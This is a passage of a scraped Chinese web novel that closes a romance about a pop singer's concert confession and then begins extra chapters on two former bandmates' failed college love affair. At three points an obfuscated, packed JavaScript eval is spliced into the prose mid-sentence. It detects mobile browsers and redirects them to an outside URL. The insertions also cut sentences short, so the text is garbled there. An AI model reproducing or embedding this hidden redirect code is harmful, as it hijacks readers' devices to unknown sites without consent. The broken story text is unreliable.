祝声自从去了印度洋科考,两人一别已是四个月。 乔之问:“你回来了!什么时候到的?” 祝声自然地走进办公室,在小沙发上坐下。 她回道:“前天到涯市的,昨天一早就飞回江临了。” 祝声比之前晒黑了一点,小麦色的肌肤泛着健康的光泽。 不过听说远洋科考很辛苦,乔之还是关心地问了句:“这几个月很辛苦吧?学院没给你批假吗?” 祝声道:“也还行。工作量大,但是吃得不错。你看,我脸都圆了一圈。不过学院的确无情,我只休息了一天就让我回来报道了。” 说罢,她上下打量了一圈乔之,笑盈盈地说:“乔老师,你最近的伙食好像也不错呀。” 乔之被她这么一说,想到何舟泽持续一个多星期的投喂,莫名有些不好意思,支吾了一句:“……好像是胖了点。” 祝声见她的反应,顿时猜到了七七八八。 她压低声音揶揄道:“怎么说?大明星最近是在当‘家庭煮夫’吗?” “……是的吧。你怎么知道?” 何舟泽这段时间都是私人行程,照理来说应当没人知道他在哪。 祝声笑了:“我是谁呀?何舟泽这周末不是要在江临开演唱会嘛,我猜他肯定要早早飞过来和你腻歪。” 作为乔之单方面的情感咨询师,祝声几乎是第一时间就知道了他们在一起的消息。乔之记得当时她比当事人还激动,非缠着她把前因后果都透了个干净。 上周何舟泽公布恋情的时候,祝声还借着科考船上堪忧的网络冲在了吃瓜第一线。 不过说到演唱会,乔之抬手看了眼时间,已经快接近六点。 她“呀”了一声,急忙开始收拾东西:“我差点忘了时间,演唱会七点就要开始了。我答应他要去现场的。” 祝声见她火急火燎的模样,只笑着叮嘱了一句:“你路上简单吃点东西,别饿着了。办公室门我帮你关。” 乔之应了声好,匆匆就下了楼。 - 今晚的江临站巡演是何舟泽公开恋情后首次露面,现场热度更甚以往。 开场几首歌曲结束后,何舟泽下场换服装。 刚才导播扫了一圈现场画面,他没在预期的位置上看见乔之。虽然两人这段时间天天待在一起,但今晚他准备了特别的节目。她不在现场,他难免有些失落。 乔之说好了要来,眼下不知是因什么事而耽误了。 何舟泽想让方鸣替他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006787|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发消息问一问。 眼下助理小王在后台跟着他,却不见方鸣的身影。 何舟泽问了句:“方鸣呢?” 换场时间紧迫,小王正替他最后检查了一遍服装。听见何舟泽的问话,他应道:“乔老师迟到了没法进场,方哥去接她了。” 听见这话,何舟泽心里的巨石终于落地。 他弯了弯唇角,声音里是不自禁的欣喜:“好。那我上场了。” 一架黑色的三角钢琴从舞台中央缓缓升起,身穿白色衬衣的男人宛若天使降临,安静地坐在钢琴前。 现场的声音渐渐停息,何舟泽缓缓按动琴键。 他弹唱了新专里的一首情歌。 这几个月来,粉丝深刻地认识到了何舟泽的音色是多么适合演唱这样的歌曲。他的声音带有恰到好处的磁性,音色却并不低沉。每唱一句,都像是附在耳边低语。 一曲完毕,台下才终于从静默中醒过来,观众们发出了热烈的欢呼声。 何舟泽从钢琴前起身,拿着话筒走到舞台前沿。 他的眉眼精致,一如既往地隐含笑意。 他开口道:“接下来这首歌,它很新,也很旧。你们很多人在跨年晚会上听到过,也可能在网上刷到过另一个版本。” 这句话一说出口,几乎全场人都意识到了他要唱《不唱情歌》。 这是何舟泽第一首公开演唱的情歌。无人不知。 有读过不久前一篇人物专访的人都知道,这首歌不仅有目前公开的两个版本,还有一个“尚未到时机”的隐藏版。 何舟泽刚刚说的话,似乎有所暗示。 粉丝们难以置信地提起耳朵,果然听见台上的人说:“但其实这首歌还有第三个版本,我一直在等,希望有人能听到它……” 场地中央的一间VIP包厢灯光亮起,一个女人正在落座。 她坐下的瞬间,何舟泽扬起了笑容,他的声音传遍整个会场:“终于,她听到了。所以今天,我把这个版本的《不唱情歌》也分享给大家。” 台下的尖叫声瞬间淹没了乔之,她震惊地看向舞台中央的何舟泽。他重新在钢琴前坐下了,手中流淌的曲调是那首多年不见天光的情歌。 “ …… 此生唯一的篇章, 早已在雨中绽放。 原来情歌不必唱, 你是爱的具象。 …… ” 何舟泽最初写下这个版本时,心中只有悲伤和落寞。他卑微地将自己的真实想法藏在歌里,只希望有朝一日能够被倾听,有朝一日他的爱能够被正视。 后来他等了许多年,从年少走到将近而立之年。 终于,这首被遗忘了六年的情歌,迎来了重见天日的这一天。 二十九岁的何舟泽唱这首歌已不再落泪。原本的伤感全都被解构,从此这字字句句都将成为他对她最真挚的告白。 她是他对爱情的全部想象,也是他所有想象的具象。 这是何舟泽此生唯一的篇章,乔之是他唯一的答案。 ——正文完—— 81.番外·胆小鬼(1)[番外] 一 夏安语接到何舟泽电话的时候,她还在公司熬夜赶图。临近交稿日,客户突然增补了好几项新需求,作为卑微乙方,夏安语只能忍气吞声。 “Hey大明星,能这个点给我打电话的也就只有你了。”她戏谑地开口。 一个是绘图不分昼夜的建筑人,一个是行程日夜颠倒的歌手——看上去一样的悲惨,如果不考虑她那跟何舟泽比起来天差地别的工资的话。 电话那头的何舟泽刚结束新歌的录制,唱到午夜,声音略有些沙哑。 他跟着玩笑道:“可不是吗,也就我们最勤奋。” “哎,别了。我这微薄薪水哪能跟您相提并论,我只是个卑微打工人罢了。” 夏安语从工位起身,准备去茶水间泡杯咖啡再续一续生命条。 她耸肩将手机夹在耳下,腾出两只手操作咖啡机。咖啡液汩汩流出,在马克杯里打着泡泡。 “这么晚了,给我打电话有什么事?” 她和何舟泽很少通话,他们平时多在微信上联系。虽然毕业后两人都常驻京市,按理感情不减,但他们都是空中飞人,全国各地出差,电话不如微信方便。 何舟泽好像在翻什么书页,纸张哗啦啦地响。他说:“我最近在录一个节目。” 夏安语“哦”了声,说道:“我知道。新一季的《新声》嘛。我们不是天天在群里给你打call吗?最新一期的歌写得不错,除了听起来有点半死不活。” 夏安语吐槽的那首“半死不活”的歌,是何舟泽在风鸣岛上写的。正式录制前一天,乔之和他划清界限,他连夜大修了这首本该记录二人时光的歌,演出时他的心情也正在谷底,最后的成品很是压抑。 何舟泽轻笑了声:“谢谢你的建议。那你有没有兴趣来参加最后一期节目的录制,我们——同味素乐队,一起写一首歌。” 夏安语刚喝了一口咖啡,听到他这话,差点呛住。 她连咳了好几声,说:“你认真的吗?” 何舟泽解释道:“当然。最后一期要出合作舞台,主题是“初心”。我不想找圈内人,毕竟乐队才是我的初心。” “可是——”夏安语犹豫了几秒,才继续说道,“可是颜叙那家伙不是还在美国吗?我们凑不齐人吧。” 紧接着,何舟泽告诉了她一个石破天惊的消息:“颜叙马上要回国了。” 夏安语突然感到一阵晕眩,这个突如其来的消息和头顶白炽灯投来的刺眼灯光一道砸碎了她。 颜叙要回国了。 他们已经七年未见。 夏安语还记得她第一次见颜叙,是在音乐社的纳新面试上。 当时他留着个狼尾,打了好几个耳钉,一身潮牌,手指上还套着几个贵得要死的戒指,整个人都透露着一股“别惹酷哥”的气质。惹得夏安语的潮人恐惧症当场就要犯了。 那时她心想,现在的小孩都这样了吗?刚高考结束几个月就能蜕变成这样? 后来她才知道,颜叙不羁的浪子生涯甚至可以追溯到初中时代。 ——当然这是后话。 音乐社不缺奇形怪状的人,颜叙顶多是看起来比一般人更拽。而且他随后就敲了个技惊四座的架子鼓,又用烟嗓唱了首迷死人的歌——他外表如何就更加不重要了,他们社长差点就要当场盖章通知他入社。 颜叙加入音乐社后,不常来他们的日常活动,例会更是几乎都没参加过。他独来独往,看上去只是开学那会儿顺手投了个报名表,对社团活动并没多大兴趣。 夏安语理解有才华的人通常孤傲,但她一向也不爱热脸贴冷屁股,因此两人在很长一段时间里都没有任何互动。 直到何舟泽在一次内部音乐交流活动中注意到了颜叙,他们才有了交集。 那时她和何舟泽还有姚朔在捣鼓着组建乐队的事,但由于一直找不到合适的鼓手,迟迟没有下文。 那次活动主要是新社员表演,其他成员都三三两两坐成一团,颜叙一个人窝在角落,见谁都爱答不理。 直到轮到他,他才起身抖抖衣服,从头带尾都带着副不屑的神情,打了两分钟的架子鼓。 ——但不得不说,他确实有点本事在身上。 因为何舟泽这种在音乐上一向挑剔的人,在看完颜叙的表演后,顿时眼睛一亮。 “老姚,小夏,我们乐队有希望了。”何舟泽正欲起身找颜叙搭话。 夏安语拉住他,朝颜叙独自窝着的角落努努嘴道:“还是别了吧,这位一看就生人勿扰。咱哪有功夫供这尊大佛啊。” 何舟泽沉吟了片刻,拳头往掌心一敲,像是找到了什么好点子道:“那我们仨一起去,让学弟感受一下前辈的热情。” 姚朔是个看热闹不嫌事大的性子,当即也要起身。夏安语于是只能不情不愿地跟着他俩一起往颜叙那边挪。 自顾自靠在墙边的颜叙见有三个不认识的人突然凑了过来,皱皱眉头没说话。 他心想,八成又是群被他惊艳到的普通人。 上赶着巴结他的人向来很多,他没兴趣应付。 这几位倒是都长得不错,尤其是中间那位,颜值勉强可以和他一论高下。因此他难得赏了个打量的眼神。 中间那位帅哥向他伸手道:“学弟你好,我叫何舟泽,今年大二。” 对方看起来像是要和他握手,但颜叙只是看了眼,并无反应。 不过尽管如此,那三个人竟然直接在他身边坐下了,那个叫何舟泽继续尝试搭话:“刚刚你的表演是自己编的曲吗?实在是太棒了。” 颜叙听见有人当面这么夸他,难得好心情地应了句“嗯”,但也没多说什么。 何舟泽一直喋喋不休地试图开启话题,但颜叙除了刚开始那会儿回了句话之外,再没别的反应。 夏安语在一旁看得血压都高了,忍不住出声嘲讽道:“学弟,虽然你鼓打得不错,但素质有待提高啊。” 男生向她投来个眼神,接着竟开口回了句:“我通常不向普通的陌生人展示素质。” 讽刺的意味拉满,夏安语气得肝疼,当即就要起身走人。 不料何舟泽笑了声,说道:“谢谢你刚才的精彩演出,作为回报,我也来一首。” 颜叙冷哼了声,显然没抱什么期待。 何舟泽临时在新社员的节目中插了个队,上去也打了个鼓——几乎完美复刻了颜叙的表演。 夏安语发誓,她从来没见过何舟泽这么锋芒毕露的时刻。 她清楚何舟泽很有音乐天赋,也知道他会很多乐器,但这回属实是被他装到了。 她见颜叙神情变得极其精彩,像是在脸上打翻了个调料台——不得不说这一波操作让她很过瘾。 等何舟泽下来,重新坐到颜叙身边,刚刚那个眼高于顶的男生主动开口说话了:“……抱歉,刚刚冒犯了。” 何舟泽脸上挂着他惯常的笑,友好说道:“不好意思,当场剽窃了你的作品。” 夏安语不知道原来何舟泽这么会阴阳怪气。这哪是剽窃,简直就是在正主面前炫技。 她在心里暗爽。 颜叙出身富贵,在音乐上有点天赋,因此不太瞧得上一般人。然而他一旦认可谁,便又是另一副面孔。 他的扑克脸之下,其实有一个极其鲜活生动的灵魂。 三人连拐带骗地将颜叙拉入伙,四人乐队在乔之的见证下正式成立,他们取了个名叫“同味素”。这个名字借用“同位素”一词,意思是他们几人是不同形态下的同一元素,在音乐上有相似的品味和追求。 这个名还是乔之给的灵感。 夏安语其实有些不记得她是什么时候和颜叙拉近关系的了,起初大概是因为他们俩常常在活动室一起练习到很晚。 她大二那年,乐队拿到了跨年晚会的演出资格,元旦前一个月,四个人常聚在一起练习。 只不过乔之习惯早睡,何舟泽到点就跑路去陪女朋友;而姚朔则每天雷打不动地一到晚上九点就要上线打游戏,漏了一天都像是精神世界崩塌。因此常常是她和颜叙两个人在活动时练到深夜。 颜叙每晚都骑车送她回寝室。 他常常调侃:“学姐,你知道有多少女生想坐我的后座吗?你可是每晚都有此殊荣。” 他叫她“学姐”时总是语调轻浮,听起来像是打趣调笑。 夏安语不知道自己会受多少人羡慕,但颜大少爷屈尊当她的司机的确让她感到有些意外。 那段日子里,晴朗时他们一起吹着晚风哼着歌,下雨天她就在后座替他打伞。 每晚的风都将他们吹得很近很近。 跨年演出很成功,“同味素”乐队在校园里渐渐有了名气。颜叙长了张祸国殃民的脸,配上通身那副拽到死的酷哥气质,毫不意外地受到了很多人的关注——尤其是女生。 夏安语不止一次撞见有人来音乐社的活动室蹲他,可惜除非准备演出,颜叙依旧很少来参加社团活动。 她替他收过不少情书和礼物,每次给他时,对方都懒洋洋地抬眼道:“学姐,你没有偷看吧?” 夏安语将情书丢到他的脸上,冷笑道:“谁稀罕呢。” 她也是有很多人追的好不好!比如那个医学院的学长,已经托人给她送了好几次礼物了,只不过她回回都婉拒罢了。 时间飞速流走,眼见着颜叙的后座载过一个又一个不同的女生,他们乐队参加了一场又一场演出。唯一不变的是,他们还是常常一起练习到深夜,他还是喜欢用他慵懒又轻浮的语调喊她“学姐”,他还是会把每晚的后座名额留给她。 夏安语以为,他们会一直保持这样不近不远的距离直到毕业。 二 大二下学期某次草坪音乐节前,夏安语接到母亲的电话。 电话里的女人用她惯有的尖锐声音命令她:“小李这周末去江临出差,你去和他见一面。” 母亲口中的“小李”是她邻居家的儿子,这几年靠着家里做了点生意,赚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019899|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了些钱。 李良比夏安语大八岁,今年过年无意见了夏安语一面,从此对她念念不忘。母亲图他们家有点小钱,竟撺掇着夏安语和他多接触接触。 李良长了张马脸,小眼厚唇。夏安语一想到他对自己上下打量,仿佛在挑选商品的神情,就忍不住想吐。 “我不想去。”夏安语冰冷拒绝。 女人厉声呵斥:“这哪由你说了算,老乡之间见个面怎么了?” 夏安语想问,您怎么就这么想将自己的女儿卖出去呢? 哦,她忘记了,她弟弟才是他们的心头肉。 见夏安语没反应,电话那头又换了个男声,是她的父亲。男人故作为难的样子卖惨:“小语,我们家还欠他们家一笔钱呢。你看,要不还是先委屈委屈,这次招待一下他吧。” 夏安语闭上眼,自暴自弃道:“随便吧,你们说了算。” 那天的演出并不理想,她全程不在状态。乐队其他几人都看出她的不对劲,但她不愿将自己的丑事告知他人,找了个借口推脱过去。 到了周六傍晚,她和李良约在学校附近一家餐厅。 男人还是年初那副模样,审视她的眼神毫不遮掩,话里话外都是“我赚了多少钱”“没人比我更适合你”。 夏安语几乎无法忍耐,就在她准备拎包走人时,忽然有个人在她身边坐了下来,揽着她的肩,无比自然地说:“小夏,你和别的男人吃饭,怎么不跟我说呢?” 是颜叙。 男生的派头十足,没戴耳钉,也没穿平时酷爱的街头风。他一身贵气的高定,专门做了个优雅又不显刻意的发型。看起来全然不像是个普通的大一学生,倒是有点富家少爷的味道。 更要命的是,颜叙用他那饱含嘲讽的语气故作惊讶道:“呀,这位大哥的表真好看,百达翡丽什么时候出了这款?我好像没见过呢。” 李良故意戴了只赝品装大款,这会儿被拆穿,脸色青黑。他还嘴硬道:“小孩子不认识新款很正常。” “哦,是吗?”颜叙拿过一旁的水壶,给自己倒了杯水,不经意间露出袖中价值七位数的腕表。他轻笑道,“这两年确实没怎么关注,原来他们家的工艺已经退步成这样了吗?” 说完,他捏着水杯浅喝了一口,皱眉指桑骂槐:“这家店怎么连茶水都有股没品的味道。小夏,我们走吧,我怕呆久了人也会掉档次。” 夏安语跟着颜叙走出很远,整个人都还是懵的。 等颜叙摇醒她,她才开口说了句:“……这家餐厅是我选的。” 颜叙那张臭脸难得绽了个真心实意的笑:“学姐,你怎么一开口就要挑我的刺?” 夏安语也想跟着笑,但她还是绷住了表情,假装嫌弃道:“今天被你装到了。换身行头还真是人模狗样的,专门来坏事呢?” “拜托——”男生不满道,“我今天可是特意偷了只我爸的手表来替你撑场面,你怎么一点都不领情呢?这种没品的男人,你还要和他相亲?” “相亲”这两个字显然刺痛了夏安语。是啊,说什么“招待老乡”,实际上不就是想要迫切地从她的婚姻中捞上一笔吗?他们完全没想过,她现在才二十岁,她的人生明明才刚开始。 夏安语叹了口气,看着颜叙道:“我是不想,可我能怎么办呢?” 演出那天,颜叙其实听到了夏安语和父母的对话,所以他才想了这么一出。 他心里清楚,他帮着避开这次,以后也一定还会有很多次。 家庭关系,这也是他过往十九年最搞不懂的难题。 天色已然暗下来,两人不知不觉走回了学校。 眼前这一处不是学生的主要活动区域,人烟寥寥,马路上只有他们俩被路灯拉的长长的影子。 颜叙烦躁地停下了脚步,靠在一根路灯上,从口袋里掏出个打火机,顺手点了根烟。 “我也不知道。”他吸了口烟,精致的五官在吐出的白雾后若隐若现,“我和我爸妈的关系也很他妈的不可理喻。” 那是夏安语第一次看见颜叙抽烟,也是第一次听他提起自己的家庭。 从颜叙平时的吃穿用度中,她很难看不出他们家非富即贵。上流社会的家族情况通常错综复杂,颜叙显然是家庭关系的牺牲品。 夏安语在他故作不在意的神情中读出了他的受伤,她想到自己的处境,竟生出一种同是天涯沦落人的错觉。 她走上前,夺过男生手中的烟,在他惊讶的目光中猛吸了一大口。 毫不意外的,她狠狠呛到了。 颜叙看她连连咳嗽,笑出了声:“是不是还以为自己很酷?” 夏安语咳了好一会儿才停下来,泪眼朦胧地抬头瞪他。 路灯投下暧昧不明的光线,夜色叆叇。 夏安语看见颜叙突然靠近了,他低头吸了一口她手中的烟,接着那张令人心动的脸也变得模糊。 然后,他吻了她。 烟草味,辛辣入骨,她这辈子都忘不掉。 82.番外·胆小鬼(2)[番外] 三 那天过后,谁都没有再提那个吻。但夏安语知道,她和颜叙之间还是有什么东西变了。 比如他看她时的眼神,比如她无法再控制的心跳。 没过几天,母亲兴师问罪的电话便打了过来。 那时她还在活动室练歌,颜叙跟着她的节奏打鼓,他们之间的配合已经无需言语便能天衣无缝。 只不过和谐的共奏被她的电话铃声打断了,夏安语看见来电提示,起身走到门外后才接起。 尽管颜叙对她家的情况心知肚明,但她还是不愿意将她糟糕的人生直白地铺陈在他面前。 “不是让你好好招待小李吗?”开口就是一句诘责,“你什么时候交男朋友了?那种公子哥能是我们家能高攀上的吗?” 夏安语心想,这会儿倒是有些自知之明了。 她料想李良回去后肯定在她父母面前添油加醋了一把,搞不好还说了什么很难听的话。 母亲见夏安语没说话,以为她是默认,声音里暗含了点期待道:“不会是真的吧?听小李说,那个人一只手表就上百万,平时出手应该也很大方……” 夏安语冷笑一声,适时打断她的荒唐言论:“他不是我男朋友。” 电话那边的女人听到这话,顿时想入非非。 白天她在市场上碰到李良,正想打听打听他俩相处的情况,不想对方开口就是阴阳怪气:“刘阿姨,你们家女儿我可高攀不上。人家现在的男朋友随便一只手表就上百万,哪还能瞧上我这小门小户呀?” 她从来没听夏安语说过这事,“啊”了一声,追问道:“小李,你可别瞎说。我们家夏夏什么时候能认识这等人物啊?” 李良看了她一眼,似笑非笑道:“我可没瞎说,那天他俩在我面前可亲密了呢。搞得我好像插足的第三者。”说完,抬脚就走了。 她于是赶紧来找夏安语了解情况,听她否认,顿时又骂:“你这个不要脸的赔钱货,人家就想随便玩玩,你还倒贴上了……” 言语越发难听,夏安语全身的血液都降至冰点,她一言不发地掐断电话。 她转头,看见颜叙正靠在门口,也不知刚刚听到了多少。 夏安语扯出一个笑:“看你那天干的好事,我妈错以为钓到金龟婿了。” 颜叙双手在胸前交叉,他挑了挑眉,漫不经心地玩笑道:“那坐实关系也未尝不可。” 夏安语听到这话,心瞬间漏跳了一拍。 “哟,我这是拿上爱的号码牌了吗?”她故作镇定,“还是算了吧,我哪能高攀得起您呢?” 三言两语,将这个话题跳了过去。 他们的关系变得越来越亲密,这样的玩笑随时就能说上几句。颜叙照旧四处招惹桃花,将浪子的人设贯彻到底,夏安语还是时不时帮他收情书,只不过后来她将情书丢他脸上的力度比以往更重——仿佛是泄愤,倾泻着没由来的、说不清道不明的情绪。 转眼到了期末考试周,乐队的活动暂停,但几人还是常常见面。他们这学期都选了一节复变函数,可没人认真上过这门课,最后所有人都求着唯一的好学生乔之带他们临时抱佛脚。 考前某天晚上,五个人窝在姚朔家里复习。半夜姚朔偷拿了一瓶好酒,她和颜叙向来玩得疯,丝毫没控制酒量,几杯哐哐下肚,都有些醉了。 她拿着杯子碰颜叙的下巴,指着他骂:“臭渣男,就知道搞暧昧……竟然还要我帮着收情书!” 颜叙的眼神迷离,他按住夏安语的手,呢喃道:“都怪你,那里根本没有我想看的。” 两人扭打在一团,借着酒意多少透露了点真心。 等考完复变,夏安语自觉情况不妙,抓着颜叙一同去云山寺祈祷,她只希望至少能踩过及格线。 云山寺向来以求学业和求姻缘出名,两人拜过文殊菩萨后绕出宫殿,竟路过了一个算命的摊子。 颜叙玩心大起,将夏安语和自己的八字递了过去。 夏安语还记得那个算命先生留了把小胡子,手里抓着把折扇神叨神叨的。他看过两人的八字后,沉思许久,说了句:“情深缘浅呐!” 颜叙听后,当即就抓着夏安语往外走。 夏安语没料到他会有这么大反应,笑说:“找个乐子而已,你怎么还当真了?” 颜叙怔了片刻,随机又换上吊儿郎当的神情,哂笑道:“这老头也是在乱说。我俩哪来的情,我看孽缘倒是不浅。” 原来他是这么想的。 夏安语默不出声,心却沉了半分。 那天算姻缘的结果没听完,夏安语无从验证云山寺在这方面的灵验。不过后来他俩果真都擦着及格线考过了复变函数,看来学业这一方面倒是名不虚传。 暑假两人都没回家,他们时常见面,颜叙常常骑车带夏安语逛校园。 颜叙不愧是天天载女生兜风的人,夏安语在那两个月走遍了江大每个角落。 他们都知道彼此那些不为人知的秘密。来自现实的痛苦无穷无尽,谁都无法从中脱身。 夏安语开始跟着颜叙一起抽烟,在无人的楼梯间、在关灯的活动室、在幽暗的树林,在许多个人迹罕至的隐秘处。她流泪时,颜叙会借她一个宽厚的肩膀,给她一个温暖的拥抱;而她有时也会吻一吻他的眼睛和脸颊。他们共享着彼此的疼痛。 无一例外是在深夜,谁也看不清谁,所以所有的伤痛、烦恼、情愫都能隐藏在黑暗里。 夏安语最后还是不可避免地沉沦了。 新学期第一个月,某天晚上,颜叙被一个女生堵在活动室门口。 夏安语在角落里默默弹琴,注意力却悄悄飘了过去。 那是个很漂亮的女生,是隔壁民舞团的领舞之一。 女生揪着颜叙不放,质问着:“颜叙,你是什么意思?” 男生面无表情时,冷淡得可怕:“我已经说得够清楚了。” 两人一来一回纠缠着,夏安语早已无心弹琴,光顾着在一旁看热闹。 最后女生哭着问:“颜叙,你有真心吗?你为什么不喜欢我?难道你喜欢她?” 女生将手一指,夏安语莫名被波及。 颜叙彻底失去了耐心,懒得再保留最后一丝体面。他冷漠地将活动室的大门用力合上,丢下一句:“反正我对你没有。” 而后他又抬眼,对夏安语道:“看够了?” 夏安语举起双手,尴尬笑道:“这不关我事吧?我好好坐着练歌呢。” 颜叙看起来心情不太好,坐下来暴躁地敲了一会儿架子鼓,却没有一个对上节拍。 夏安语起来靠墙上,没忍住问了句:“她这么漂亮你都不喜欢,你喜欢什么样的?” 颜叙转头看着她,紧绷着的脸上带着点复杂的情绪。 他说:“至少和你一样漂亮,还要会弹琴,会抽烟。” 夏安语的眼皮跳了跳,玩笑道:“你喜欢我?” 颜叙再无下文,但夏安语已经不敢再说下去。她借着玩笑将真心话问出口,却无法判断颜叙是否在说笑。 颜叙继续敲着不成节奏的曲子,耳边时不时响起“你有真心吗?”“你喜欢我?”,两个声音交织着,吵得他快要爆炸。 好听的情话他一向信手拈来,可他从来都不知道,原来真心喜欢一个人时,连一句简单的爱都会变得如此珍重而难以说出口。他出生在那样的家庭,何来信心给予真诚的爱的承诺。 四 夏安语想,她和颜叙的关系出现裂隙或许根本就不在某个确切的时间节点,而是来源于每一次的落空。 到了大三上学期中叶,她逐渐无法维持和颜叙的暧昧关系。她开始期待更多,也因此承受更多。 于是除了全体排练,她很少再在活动室留到深夜。 她加入了户外社,乐队不再是她课余生活里的唯一。 那个一直在追她的医学院学长,是户外社的元老。 十二月初的一次徒步中,她遇到了意外。 当时她误踩了融雪,脚滑差点摔下山崖。走在她身边的学长不顾一切想要抓住她,不想也一起滚了下去。 万幸的是,他们刚出发没多久,山坡还不太高。 滚落期间,学长一直用他的手护住夏安语的头,最后她竟然只有一点小擦伤,但学长的右手还是轻微骨裂了。 夏安语以前看过一部韩剧,剧中有一个情节是女主角在煤气泄漏时被忘在了家里,因为父母一个顾着救姐姐,一个帮着背弟弟。 如此黑色幽默的剧情,她却看哭了。因为她在初二那年,也有过一模一样的经历。更嘲讽的是,他们家只有两个孩子,但父母都只记得救出弟弟。她和剧中的女主角一样,是自己爬出去的。 夏安语从来没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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几周以后,在乐队的小会上,颜叙告诉他们,他下学期就要转学出国,手续已经全部办好。 在此之前,他没和乐队任何人说过这件事。 颜叙用他不可一世的语气说:“我就是来通知你们一声。我没心情再和你们玩下去。” 姚朔重感情,得知这个消息后当即和他打了一架。 颜叙号称打架王,那一次却没还手,被姚朔打得鼻青脸肿。 最后姚朔摔门而去,何舟泽追着他也出了门,最后活动室又只剩下他们俩。 夏安语给颜叙递了张湿巾,他没伸手,于是夏安语跪坐在地上想替他擦一擦嘴角带血的伤。 颜叙抓住了她的手,他那双狭长的桃花眼里写满讥讽:“不装陌生人了?” 夏安语想甩开他的手,却怎么也挣脱不开。 “夏安语,你不怕男朋友吃醋吗?”他抓着她的手,一点点地在自己的嘴边移动,半干的伤疤被他拉出了长长的血痕,衬得他苍白脸颊有点狰狞的美。 她怒目而视:“说话带刺好玩吗?” 颜叙轻笑了一声,一把拉近了她:“不好玩。”尾音尽数消散在一个炽烈的吻中。 血腥味弥漫在唇齿间,夏安语越想挣脱开,越无法从颜叙的身上逃离。 这个没有烟草味的吻,却比过去他每次为她渡烟时还要浓烈呛人。 终于,她一把推开了他。 夏安语站起身,将手中的湿巾扔在他身上。她抬手狠狠地擦了擦自己的唇,仿佛要把他的温度也一并抹去。 “你什么意思?” 坐在角落的男生抬头看她,咬牙切齿地问:“为什么选了他?” “什么?” 颜叙的眼眶发红,夏安语从未见过他这般破碎的模样。他举起自己的手,声音颤抖:“夏安语,我也可以为了你,一辈子都不打鼓、不玩音乐。” 夏安语顿时笑出声,她心中暗觉嘲讽,他们已经错过这么久,他竟然才回过头来遗憾。 她说:“收起你的花言巧语吧。颜叙,你说过喜欢我吗?” 她用尽自己在偶像剧中学来演技,嘲讽道:“谁稀罕你转瞬即逝的深情呢?颜叙,你配不上谁的真心。” 夏安语想,那天她一定也很狼狈。强忍住的泪水刺得她鼻酸,她用拙劣的演技上演着无人关心的戏码,老掉牙的台词让她自己都不堪回首。 后来,她再也没见过颜叙。 83.番外·胆小鬼(3)[番外] 五 夏安语从回忆中醒来时,手中的咖啡已经全冷了。 公司新换的这批咖啡豆质量太差,一点香味都没有,喝下肚全是苦涩。 夏安语再也没有心情赶稿,索性关了电脑,准备回家好好睡一觉。 将近午夜,他们这栋写字楼几乎还是灯火通明。大大小小的公司占据不同的楼层,夏安语是这千万悲惨打工人中毫不起眼的一个。 她按着既定的平凡人生轨迹前进,按部就班地毕业,然后进入了国内一家知名的建筑事务所。她和学长还在一起,尽管两人之间的矛盾越来越多,他们还是准备结婚。 有时她也会想,颜叙现在在做什么呢?这个点的纽约应该临近中午,或许他正和哪位金发碧眼的美女约会,说些逗女生开心的话,一起吃着精致的Brunch。 夏安语很少和他私聊,但在乐队小群中能陆续得知他的近况。 他出国后改学了编曲专业,凭借着出色的才华和家世在美国混得风生水起。他现在在世界顶级的工作室做音乐,夏安语偶尔会在某个巨星的歌里看见他的名字。他收起了不可一世的冷傲,收割了更多佳人的青睐。 这些年,他身边的人依旧如流水。 深夜接单的网约车司机在放何舟泽的新歌,夏安语跟着哼了两句。 司机似乎是何舟泽的歌迷,兴奋道:“你也是他的粉丝?” 夏安语笑说:“不算是,但他的歌我都听过。” 司机像是找到了同好,开始热情地安利何舟泽,从才华到外貌到人品。 夏安语低头在微信群里调侃了一句:【@H回家路上遇见个司机大哥,是你的死忠粉,在跟我倾情安利呢】 有人马上回复了,但不是何舟泽。 【ChrisYan:那你不得赶紧说点糗事给他当粉丝福利?】 是颜叙。他的头像是他在布鲁克林大桥下的一个侧影,戴着顶毛线帽。那是夏安语在某一年送他的生日礼物。 这时何舟泽也冒泡了:【原来我那些古早黑料都是你爆出去的。】 比如什么小学时代画红脸参加文艺活动的视频。 夏安语笑了一声,关上手机。 司机大哥还在喋喋不休,都快盘点到何舟泽大学时代在网上发的那些古早歌曲了。 她靠在后座上,想了想说:“师傅,其实我和何舟泽认识。” 这时正好碰上个红灯,司机停下了车,惊讶地从后视镜里瞧了她一眼。光线不明,但隐约能看出是个美女。 他以为碰上了什么明星,激动道:“你是圈里人?” 夏安语摇头:“不是,我们是大学同学。我这不大半夜刚加班结束吗?悲惨打工人而已。” 司机想想也是,他刚刚是在写字楼接到的人,哪来的明星会在这种地方呆到半夜才下班。 他感慨了句:“也是,咱大部分都是普通人,也就是混口饭吃。” 她附和着:“可不是吗。” 学生时代有再多响亮的口号、远大的理想,最终都会化成平凡日子里的一颗微尘。 像何舟泽和颜叙那样的,才是少数派。而她和他们,大概只会越来越远。 